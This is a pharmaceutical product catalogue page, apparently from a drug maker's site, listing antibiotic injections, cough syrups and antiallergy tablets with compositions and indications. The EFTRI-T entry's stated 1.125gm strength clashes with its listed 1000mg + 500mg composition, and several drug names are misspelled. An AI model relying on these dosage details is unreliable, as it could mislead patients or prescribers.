Complicated Intra-abdominal Infection (cIAI), Complicated Skin & Skin Structure Infections (cSSSI), Bacterial Meningitis, Noscocomial Pneumonia

PIPDUS-T-4.5

INJECTIONS
4.5gm

Composition

Piperacillin 4000mg + Tazobactam 500mg + WFI

Indications & Uses

Intra-abdominal Infections, Complicated Urinary Tract Infections, Febrile Neutropenia, Lower Respiratory Tract Infections

EFTRI-T 1.125

INJECTIONS
1.125gm

Composition

Ceftriaxone 1000mg + Tazobactam 500 mg + WFI

Indications & Uses

Bone & Joint Infections, Intra-abdominal Infections, Bacterial Meningitis, Pre-operative Surgical Prophylaxis

SEFOX-200

TABLETS (Alu-Alu)
10X1X6

Composition

Cefpodoxime Proxetil 200mg

Indications & Uses

Pharyngitis, CAP, Tonsilitis

BRONKUFF

SYRUP
100ml

Composition

Ambroxol HCI 15mg + Guaiphensin 50mg + Terbutaline Sulphate 1.5mg + Mentholated Base/5ml

Indications & Uses

Bronchitis, Productive Cough, Emphysema, Bronchial Asthma

BRONKUFF-BR

SYRUP
100ml

Composition

Terbutaline Sulphate 2.5mg + Bromhexine HCI 8mg + Guaiphenesin 100mg + Methalated Base/5ml

Indications & Uses

Acute Cough, Abnormal Mucus Secretion, Productive Cough

CUFEX-CP

SYRUP
100ml

Composition

Dextromethorphan Hydrobromide 10mg + Phenylpherine 5 mg + Cetrizine 5mg + Mentholated Base/5ml

Indications & Uses

Commom Cold and Flu, Nasal Congestion, Sore Throat

MONLEV

TABLETS (Alu-Alu)
20X10

Composition

Levocetirizine 5mg + Montelukast 10mg

Indications & Uses

Allergic Rhinitis, Nasal Congestion, Asthma

LOVOFAD

TABLETS (Alu-Alu)
20X11

Composition

Levocetirizine 5mg

Indications & Uses

Chronic Idiopathic Urticaria (CIU), Seasonal Allergic Rhinitis (SAR), Perennial Allergic Rhinitis (PAR)

Arrange A Callback
[]
1 Step 1
Full Name
Telephone
Departmentyour full name
Postal Address
Message
0 /
Previous
Next
Shopping Basket